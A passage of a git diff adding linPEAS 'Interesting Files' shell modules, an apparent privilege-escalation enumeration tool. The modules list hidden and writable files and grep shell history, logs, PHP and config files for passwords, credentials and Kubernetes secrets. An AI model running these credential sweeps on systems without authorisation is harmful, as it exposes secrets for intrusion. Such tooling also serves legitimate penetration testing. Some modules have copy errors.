LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/17_Web_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/17_Web_files.sh new file mode 100644 index 0000000..a89fd25 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/17_Web_files.sh @@ -0,0 +1,23 @@ +# Title: Interesting Files - Web files +# ID: IF_Web_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Web files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Web files?(output limit)" + ls -alhR /var/www/ 2>/dev/null | head + ls -alhR /srv/www/htdocs/ 2>/dev/null | head + ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head + ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/18_Hidden_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/18_Hidden_files.sh new file mode 100644 index 0000000..831fcac --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/18_Hidden_files.sh @@ -0,0 +1,18 @@ +# Title: Interesting Files - All hidden files +# ID: IF_Hidden_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get all relevant hidden files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables:$INT_HIDDEN_FILES, $ROOT_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" +find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70 +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/19_Readable_files_tmp_backups.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/19_Readable_files_tmp_backups.sh new file mode 100644 index 0000000..60af4e1 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/19_Readable_files_tmp_backups.sh @@ -0,0 +1,21 @@ +# Title: Interesting Files - Readable files in /tmp, /var/tmp, backups +# ID: IF_Readable_files_tmp_backups +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Readable files in /tmp, /var/tmp, backups +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $backup_folders_row, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $filstmpback +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" + filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70) + printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh new file mode 100644 index 0000000..ad69ec6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/1_Sh_files_in_PATH.sh @@ -0,0 +1,40 @@ +# Title: Interesting Files - .sh files in path +# ID: IF_Sh_files_in_PATH +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: finds .sh files in path +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $IAMROOT, $SEARCH_IN_FOLDER, $shscripsG, $Wfolders, $PATH +# Initial Functions: +# Generated Global Variables: $broken_links +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title ".sh files in path" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path" + echo $PATH | tr ":" "\n" | while read d; do + for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -O "$f" ]; then + echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) + echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; + fi + done + done + echo "" + + broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) + if [ "$broken_links" ] || [ "$DEBUG" ]; then + print_2title "Broken links in path" + echo $PATH | tr ":" "\n" | while read d; do + find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; + done + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/20_Passwords_history_cmd.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/20_Passwords_history_cmd.sh new file mode 100644 index 0000000..00af5df --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/20_Passwords_history_cmd.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Passwords in history cmd +# ID: IF_Passwords_history_cmd +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Passwords in history cmd +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $pwd_inside_history +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in history cmd" + history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/21_Passwords_history_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/21_Passwords_history_files.sh new file mode 100644 index 0000000..4805f74 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/21_Passwords_history_files.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Passwords in history files +# ID: IF_Passwords_history_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Passwords in history files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $pwd_inside_history +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in history files" + printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/22_Passwords_php_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/22_Passwords_php_files.sh new file mode 100644 index 0000000..9857f17 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/22_Passwords_php_files.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - passwords in config PHP files +# ID: IF_Passwords_php_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching passwords in config PHP files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then + print_2title "Searching passwords in config PHP files" + printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/23_Passwords_files_home.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/23_Passwords_files_home.sh new file mode 100644 index 0000000..7f88b62 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/23_Passwords_files_home.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Passwords files in home +# ID: IF_Passwords_files_home +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Passwords files in home +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then + print_2title "Searching *password* or *credential* files in home (limit 70)" + (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/24_Passwords_TTY.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/24_Passwords_TTY.sh new file mode 100644 index 0000000..c7def64 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/24_Passwords_TTY.sh @@ -0,0 +1,21 @@ +# Title: Interesting Files - TTY passwords +# ID: IF_Passwords_TTY +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: TTY passwords +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Checking for TTY (sudo/su) passwords in audit logs" + aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" + find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/25_IPs_logs.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/25_IPs_logs.sh new file mode 100644 index 0000000..d56ff08 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/25_IPs_logs.sh @@ -0,0 +1,21 @@ +# Title: Interesting Files - TTY passwords +# ID: IF_IPs_logs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get TTY passwords +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Checking for TTY (sudo/su) passwords in audit logs" + aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" + find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/26_Mails_addr_inside_logs.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/26_Mails_addr_inside_logs.sh new file mode 100644 index 0000000..9602986 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/26_Mails_addr_inside_logs.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Emails inside logs +# ID: IF_Mails_addr_inside_logs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Emails inside logs +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $knw_emails, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then + print_2title "Searching emails inside logs (limit 70)" + (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/27_Passwords_in_logs.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/27_Passwords_in_logs.sh new file mode 100644 index 0000000..9cce13c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/27_Passwords_in_logs.sh @@ -0,0 +1,20 @@ +# Title: Interesting Files - Passwords inside logs +# ID: IF_Passwords_in_logs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Passwords inside logs +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching passwords inside logs (limit 70)" + (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/28_Files_with_passwords.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/28_Files_with_passwords.sh new file mode 100644 index 0000000..e89a94f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/28_Files_with_passwords.sh @@ -0,0 +1,43 @@ +# Title: Interesting Files - Executable files with passwords +# ID: IF_Files_with_passwords +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching possible password variables inside key folders and config files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $HOMESEARCH,$ITALIC, $pwd_in_variables1, $pwd_in_variables2, $pwd_in_variables3, $pwd_in_variables4, $pwd_in_variables5, $pwd_in_variables6, $pwd_in_variables7, $pwd_in_variables8, $pwd_in_variables9, $pwd_in_variables10, $pwd_in_variables11, $SEARCH_IN_FOLDER, $TIMEOUT, $backup_folders_row +# Initial Functions: +# Generated Global Variables: $ppicf +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then + + ##-- IF) Find possible files with passwords + print_2title "Searching possible password variables inside key folders (limit 140)" + if ! [ "$SEARCH_IN_FOLDER" ]; then + timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + else + timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & + fi + wait + echo "" + + ##-- IF) Find possible conf files with passwords + print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" + if ! [ "$SEARCH_IN_FOLDER" ]; then + ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + else + ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null) + fi + printf "%s\n" "$ppicf" | while read f; do + if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' \"$f\" 2>/dev/null; then + echo "$ITALIC $f$NC" + grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" + fi + done + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/2_Date_in_firmware.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/2_Date_in_firmware.sh new file mode 100644 index 0000000..1c2a032 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/2_Date_in_firmware.sh @@ -0,0 +1,21 @@ +# Title: Interesting Files - Date times inside firmware +# ID: IF_Date_in_firmware +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Date times inside firmware +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files datetimes inside the firmware (limit 50)" + find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 + echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"\"" + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/3_Executable_files_by_user.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/3_Executable_files_by_user.sh new file mode 100644 index 0000000..062caf3 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/3_Executable_files_by_user.sh @@ -0,0 +1,23 @@ +# Title: Interesting Files - Executable files potentially added by user +# ID: IF_Executable_files_by_user +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Executable files potentially added by user +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "Executable files potentially added by user (limit 70)" +if ! [ "$SEARCH_IN_FOLDER" ]; then + find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 +else + find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 +fi +echo "" + diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/4_Macos_unsigned_apps.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/4_Macos_unsigned_apps.sh new file mode 100644 index 0000000..bf6d55e --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/4_Macos_unsigned_apps.sh @@ -0,0 +1,19 @@ +# Title: Interesting Files - Macos Unsigned Applications +# ID: IF_Macos_unsigned_apps +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get the macOS unsigned applications +# License: GNU GPL +# Version: 1.0 +# Functions Used: macosNotSigned, print_2title +# Global Variables: $MACPEAS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ]; then + print_2title "Unsigned Applications" + macosNotSigned /System/Applications +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/5_Unexpected_in_opt.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/5_Unexpected_in_opt.sh new file mode 100644 index 0000000..a47fdcc --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/5_Unexpected_in_opt.sh @@ -0,0 +1,21 @@ +# Title: Interesting Files - Unexpected in /opt +# ID: IF_Unexpected_in_opt +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Unexpected in /opt +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$(ls /opt 2>/dev/null)" ]; then + print_2title "Unexpected in /opt (usually empty)" + ls -la /opt + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/6_Unexpected_in_root.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/6_Unexpected_in_root.sh new file mode 100644 index 0000000..02686d4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/6_Unexpected_in_root.sh @@ -0,0 +1,24 @@ +# Title: Interesting Files - Unexpected folders in / +# ID: IF_Unexpected_in_root +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Unexpected folders in / +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title +# Global Variables: $commonrootdirsG, $commonrootdirsMacG, $MACPEAS, $ROOT_FOLDER, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unexpected in root" + if [ "$MACPEAS" ]; then + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + else + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/7_Modified_last_5mins.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/7_Modified_last_5mins.sh new file mode 100644 index 0000000..7e94ec4 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/7_Modified_last_5mins.sh @@ -0,0 +1,18 @@ +# Title: Interesting Files - Files modified last 5 mins +# ID: IF_Modified_last_5mins +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Modified interesting files into specific folders in the last 5mins +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables:$ROOT_FOLDER, $Wfolders +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "Modified interesting files in the last 5mins (limit 100)" +find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," +echo "" diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh new file mode 100644 index 0000000..ee76bb9 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh @@ -0,0 +1,33 @@ +# Title: Interesting Files - Writable log files +# ID: IF_Writable_log_files +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Writable log files +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $IAMROOT, $ROOT_FOLDER, $Wfolders +# Initial Functions: +# Generated Global Variables: $lastWlogFolder, $logfind, $log +# Fat linpeas: 0 +# Small linpeas: 0 + + +if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below +print_2title "Writable log files (logrotten) (limit 50)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation" + logrotate --version 2>/dev/null || echo_not_found "logrotate" + lastWlogFolder="ImPOsSiBleeElastWlogFolder" + logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) + printf "%s\n" "$logfind" | while read log; do + if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found + if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; + elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case + elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; + elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; + fi + fi + done +fi + +echo "" diff --git a/linPEAS/builder/linpeas_parts/9_interesting_files/9_My_home.sh b/linPEAS/builder/linpeas_parts/9_interesting_files/9_My_home.sh new file mode 100644 index 